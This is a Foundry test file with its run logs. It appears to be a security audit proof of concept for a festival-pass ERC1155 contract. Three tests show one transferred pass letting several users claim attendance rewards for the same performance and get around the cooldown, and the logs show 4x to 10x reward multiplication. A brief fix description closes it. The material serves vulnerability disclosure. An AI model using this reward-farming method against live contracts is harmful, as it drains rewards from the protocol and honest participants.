pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
import {console} from "forge-std/console.sol";
* @title Pass Lending Reward Multiplication PoC
* @dev Demonstrates how single pass can generate unlimited rewards across multiple users
* through strategic pass transfers and coordinated attendance
*
* VULNERABILITY: No ownership tracking during attendance
* - hasPass() only checks current balance at time of attendance
* - attendPerformance() tracks attendance per user, not per pass
* - Single pass can be transferred between users for unlimited reward farming
*
* ATTACK VECTOR:
* 1. Alice buys 1 VIP pass and attends performance → earns 2x rewards
* 2. Alice transfers pass to Bob
* 3. Bob attends same performance → earns 2x rewards
* 4. Bob transfers pass to Charlie → Charlie attends → repeat
* 5. Single pass generates unlimited rewards across unlimited users
*/
contract PassLendingExploitPoC is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public owner;
address public organizer;
address public alice;
address public bob;
address public charlie;
address public dave;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant VIP_MAX_SUPPLY = 1000;
uint256 constant VIP_PASS = 2;
uint256 constant VIP_MULTIPLIER = 2;
uint256 public performanceId;
uint256 constant BASE_REWARD = 100e18;
uint256 constant EXPECTED_VIP_REWARD = BASE_REWARD * VIP_MULTIPLIER;
function setUp() public {
owner = makeAddr("owner");
organizer = makeAddr("organizer");
alice = makeAddr("alice");
bob = makeAddr("bob");
charlie = makeAddr("charlie");
dave = makeAddr("dave");
vm.startPrank(owner);
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.stopPrank();
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
vm.prank(organizer);
performanceId = festivalPass.createPerformance(
block.timestamp + 1 hours,
4 hours,
BASE_REWARD
);
vm.deal(alice, 1 ether);
}
function testSinglePassMultipleRewards() public {
console.log("=== PASS LENDING REWARD MULTIPLICATION EXPLOIT ===\n");
console.log("--- Setup: Alice buys 1 VIP pass ---");
vm.prank(alice);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("Alice VIP balance:", festivalPass.balanceOf(alice, VIP_PASS));
console.log("Alice BEAT balance (welcome bonus):", beatToken.balanceOf(alice));
vm.warp(block.timestamp + 2 hours);
console.log("\n--- Performance starts, exploitation begins ---");
console.log("STEP 1: Alice attends performance");
vm.prank(alice);
festivalPass.attendPerformance(performanceId);
uint256 aliceReward = beatToken.balanceOf(alice) - 5e18;
console.log("Alice attendance reward:", aliceReward);
console.log("Alice has attended:", festivalPass.hasAttended(performanceId, alice));
console.log("\nSTEP 2: Alice transfers VIP pass to Bob");
vm.prank(alice);
festivalPass.safeTransferFrom(alice, bob, VIP_PASS, 1, "");
console.log("Alice VIP balance:", festivalPass.balanceOf(alice, VIP_PASS));
console.log("Bob VIP balance:", festivalPass.balanceOf(bob, VIP_PASS));
console.log("Bob has pass:", festivalPass.hasPass(bob));
console.log("\nSTEP 3: Bob attends SAME performance with transferred pass");
vm.prank(bob);
festivalPass.attendPerformance(performanceId);
uint256 bobReward = beatToken.balanceOf(bob);
console.log("Bob attendance reward:", bobReward);
console.log("Bob has attended:", festivalPass.hasAttended(performanceId, bob));
console.log("\nSTEP 4: Bob transfers VIP pass to Charlie");
vm.prank(bob);
festivalPass.safeTransferFrom(bob, charlie, VIP_PASS, 1, "");
console.log("\nSTEP 5: Charlie attends SAME performance");
vm.prank(charlie);
festivalPass.attendPerformance(performanceId);
uint256 charlieReward = beatToken.balanceOf(charlie);
console.log("Charlie attendance reward:", charlieReward);
console.log("\nSTEP 6: Charlie transfers to Dave");
vm.prank(charlie);
festivalPass.safeTransferFrom(charlie, dave, VIP_PASS, 1, "");
vm.prank(dave);
festivalPass.attendPerformance(performanceId);
uint256 daveReward = beatToken.balanceOf(dave);
console.log("Dave attendance reward:", daveReward);
console.log("\n=== EXPLOITATION RESULTS ===");
uint256 totalRewards = aliceReward + bobReward + charlieReward + daveReward;
uint256 legitimateReward = EXPECTED_VIP_REWARD;
console.log("Total BEAT farmed from 1 pass:", totalRewards);
console.log("Legitimate reward (1 person):", legitimateReward);
console.log("Reward multiplication factor:", totalRewards / legitimateReward);
console.log("Excess BEAT stolen:", totalRewards - legitimateReward);
assertEq(aliceReward, EXPECTED_VIP_REWARD, "Alice should get VIP reward");
assertEq(bobReward, EXPECTED_VIP_REWARD, "Bob should get VIP reward");
assertEq(charlieReward, EXPECTED_VIP_REWARD, "Charlie should get VIP reward");
assertEq(daveReward, EXPECTED_VIP_REWARD, "Dave should get VIP reward");
assertEq(totalRewards, 4 * legitimateReward, "4x reward multiplication");
console.log("\nAttendance tracking per user:");
console.log("Alice attended:", festivalPass.hasAttended(performanceId, alice));
console.log("Bob attended:", festivalPass.hasAttended(performanceId, bob));
console.log("Charlie attended:", festivalPass.hasAttended(performanceId, charlie));
console.log("Dave attended:", festivalPass.hasAttended(performanceId, dave));
console.log("Final pass holder (Dave):", festivalPass.balanceOf(dave, VIP_PASS));
}
function testLargeScalePassLendingRing() public {
console.log("=== LARGE-SCALE PASS LENDING RING ===\n");
uint256 BACKSTAGE_PRICE = 0.25 ether;
uint256 BACKSTAGE_PASS = 3;
uint256 BACKSTAGE_MULTIPLIER = 3;
vm.prank(organizer);
festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, 100);
vm.deal(alice, 1 ether);
vm.prank(alice);
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
vm.startPrank(organizer);
uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 6 hours, BASE_REWARD);
uint256 perf2 = festivalPass.createPerformance(block.timestamp + 2 hours, 6 hours, BASE_REWARD);
vm.stopPrank();
address[] memory lendingRing = new address[](10);
for (uint256 i = 0; i < 10; i++) {
lendingRing[i] = makeAddr(string(abi.encodePacked("user", i)));
}
lendingRing[0] = alice;
console.log("Lending ring size:", lendingRing.length);
console.log("BACKSTAGE pass multiplier:", BACKSTAGE_MULTIPLIER);
console.log("Expected reward per attendance:", BASE_REWARD * BACKSTAGE_MULTIPLIER);
vm.warp(block.timestamp + 90 minutes);
console.log("\n--- Exploiting Performance 1 ---");
for (uint256 i = 0; i < lendingRing.length; i++) {
address currentUser = lendingRing[i];
vm.prank(currentUser);
festivalPass.attendPerformance(perf1);
uint256 reward = beatToken.balanceOf(currentUser);
if (i == 0) reward -= 15e18;
console.log("User", i, "reward:", reward);
if (i < lendingRing.length - 1) {
address nextUser = lendingRing[i + 1];
vm.prank(currentUser);
festivalPass.safeTransferFrom(currentUser, nextUser, BACKSTAGE_PASS, 1, "");
}
}
vm.warp(block.timestamp + 2 hours);
console.log("\n--- Exploiting Performance 2 ---");
address currentHolder = lendingRing[lendingRing.length - 1];
for (uint256 i = 0; i < lendingRing.length; i++) {
vm.prank(currentHolder);
festivalPass.attendPerformance(perf2);
if (i < lendingRing.length - 1) {
address nextUser = lendingRing[i];
vm.prank(currentHolder);
festivalPass.safeTransferFrom(currentHolder, nextUser, BACKSTAGE_PASS, 1, "");
currentHolder = nextUser;
}
}
console.log("\n=== LARGE-SCALE EXPLOITATION RESULTS ===");
uint256 totalBEATFarmed = 0;
for (uint256 i = 0; i < lendingRing.length; i++) {
uint256 userBalance = beatToken.balanceOf(lendingRing[i]);
if (i == 0) userBalance -= 15e18;
totalBEATFarmed += userBalance;
console.log("User", i, "total BEAT:", userBalance);
}
uint256 legitimateTotal = 2 * BASE_REWARD * BACKSTAGE_MULTIPLIER;
console.log("Total BEAT farmed:", totalBEATFarmed);
console.log("Legitimate total (2 performances, 1 person):", legitimateTotal);
console.log("Exploitation multiplier:", totalBEATFarmed / legitimateTotal);
assertGe(totalBEATFarmed, legitimateTotal * 10, "Should farm >=10x legitimate rewards");
}
function testCooldownBypassThroughLending() public {
console.log("=== COOLDOWN BYPASS THROUGH PASS LENDING ===\n");
vm.prank(alice);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
vm.startPrank(organizer);
uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 3 hours, BASE_REWARD);
uint256 perf2 = festivalPass.createPerformance(block.timestamp + 1 hours, 3 hours, BASE_REWARD);
vm.stopPrank();
vm.warp(block.timestamp + 90 minutes);
console.log("Alice attends performance 1");
vm.prank(alice);
festivalPass.attendPerformance(perf1);
console.log("Alice lastCheckIn:", festivalPass.lastCheckIn(alice));
console.log("\nAlice tries performance 2 immediately:");
vm.prank(alice);
vm.expectRevert("Cooldown period not met");
festivalPass.attendPerformance(perf2);
console.log(" Cooldown protection working");
console.log("\nAlice transfers pass to Bob to bypass cooldown");
vm.prank(alice);
festivalPass.safeTransferFrom(alice, bob, VIP_PASS, 1, "");
console.log("Bob attends performance 2 immediately:");
vm.prank(bob);
festivalPass.attendPerformance(perf2);
uint256 bobReward = beatToken.balanceOf(bob);
console.log("Bob reward:", bobReward);
console.log("Bob lastCheckIn:", festivalPass.lastCheckIn(bob));
console.log("\n=== COOLDOWN BYPASS RESULTS ===");
console.log("Alice could not attend due to cooldown");
console.log("Bob successfully attended immediately after transfer");
console.log("Cooldown mechanism bypassed through pass lending");
assertEq(bobReward, EXPECTED_VIP_REWARD, "Bob should successfully earn rewards");
assertEq(festivalPass.lastCheckIn(bob), block.timestamp, "Bob's check-in should be recorded");
}
}
forge test --match-contract PassLendingExploitPoC -vv
[⠰] Compiling...
[⠃] Compiling 1 files with Solc 0.8.25
[⠊] Solc 0.8.25 finished in 442.56ms
Compiler run successful!
Ran 3 tests for test/PassLendingExploit.t.sol:PassLendingExploitPoC
[PASS] testCooldownBypassThroughLending() (gas: 473221)
Logs:
=== COOLDOWN BYPASS THROUGH PASS LENDING ===
Alice attends performance 1
Alice lastCheckIn: 5401
Alice tries performance 2 immediately:
Cooldown protection working
Alice transfers pass to Bob to bypass cooldown
Bob attends performance 2 immediately:
Bob reward: 200000000000000000000
Bob lastCheckIn: 5401
=== COOLDOWN BYPASS RESULTS ===
Alice could not attend due to cooldown
Bob successfully attended immediately after transfer
Cooldown mechanism bypassed through pass lending
[PASS] testLargeScalePassLendingRing() (gas: 1794585)
Logs:
=== LARGE-SCALE PASS LENDING RING ===
Lending ring size: 10
BACKSTAGE pass multiplier: 3
Expected reward per attendance: 300000000000000000000
--- Exploiting Performance 1 ---
User 0 reward: 300000000000000000000
User 1 reward: 300000000000000000000
User 2 reward: 300000000000000000000
User 3 reward: 300000000000000000000
User 4 reward: 300000000000000000000
User 5 reward: 300000000000000000000
User 6 reward: 300000000000000000000
User 7 reward: 300000000000000000000
User 8 reward: 300000000000000000000
User 9 reward: 300000000000000000000
--- Exploiting Performance 2 ---
=== LARGE-SCALE EXPLOITATION RESULTS ===
User 0 total BEAT: 600000000000000000000
User 1 total BEAT: 600000000000000000000
User 2 total BEAT: 600000000000000000000
User 3 total BEAT: 600000000000000000000
User 4 total BEAT: 600000000000000000000
User 5 total BEAT: 600000000000000000000
User 6 total BEAT: 600000000000000000000
User 7 total BEAT: 600000000000000000000
User 8 total BEAT: 600000000000000000000
User 9 total BEAT: 600000000000000000000
Total BEAT farmed: 6000000000000000000000
Legitimate total (2 performances, 1 person): 600000000000000000000
Exploitation multiplier: 10
[PASS] testSinglePassMultipleRewards() (gas: 567999)
Logs:
=== PASS LENDING REWARD MULTIPLICATION EXPLOIT ===
--- Setup: Alice buys 1 VIP pass ---
Alice VIP balance: 1
Alice BEAT balance (welcome bonus): 5000000000000000000
--- Performance starts, exploitation begins ---
STEP 1: Alice attends performance
Alice attendance reward: 200000000000000000000
Alice has attended: true
STEP 2: Alice transfers VIP pass to Bob
Alice VIP balance: 0
Bob VIP balance: 1
Bob has pass: true
STEP 3: Bob attends SAME performance with transferred pass
Bob attendance reward: 200000000000000000000
Bob has attended: true
STEP 4: Bob transfers VIP pass to Charlie
STEP 5: Charlie attends SAME performance
Charlie attendance reward: 200000000000000000000
STEP 6: Charlie transfers to Dave
Dave attendance reward: 200000000000000000000
=== EXPLOITATION RESULTS ===
Total BEAT farmed from 1 pass: 800000000000000000000
Legitimate reward (1 person): 200000000000000000000
Reward multiplication factor: 4
Excess BEAT stolen: 600000000000000000000
Attendance tracking per user:
Alice attended: true
Bob attended: true
Charlie attended: true
Dave attended: true
Final pass holder (Dave): 1
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.49ms (2.14ms CPU time)
Ran 1 test suite in 4.56ms (2.49ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
The fix implements per-pass attendance tracking to ensure each individual pass can only be used once per performance, regardless of how many times it's transferred between users. This preserves the intended 1-pass-1-reward economics while still allowing legitimate pass transfers for other purposes, preventing coordinated reward multiplication while maintaining the flexibility of the ERC1155 standard.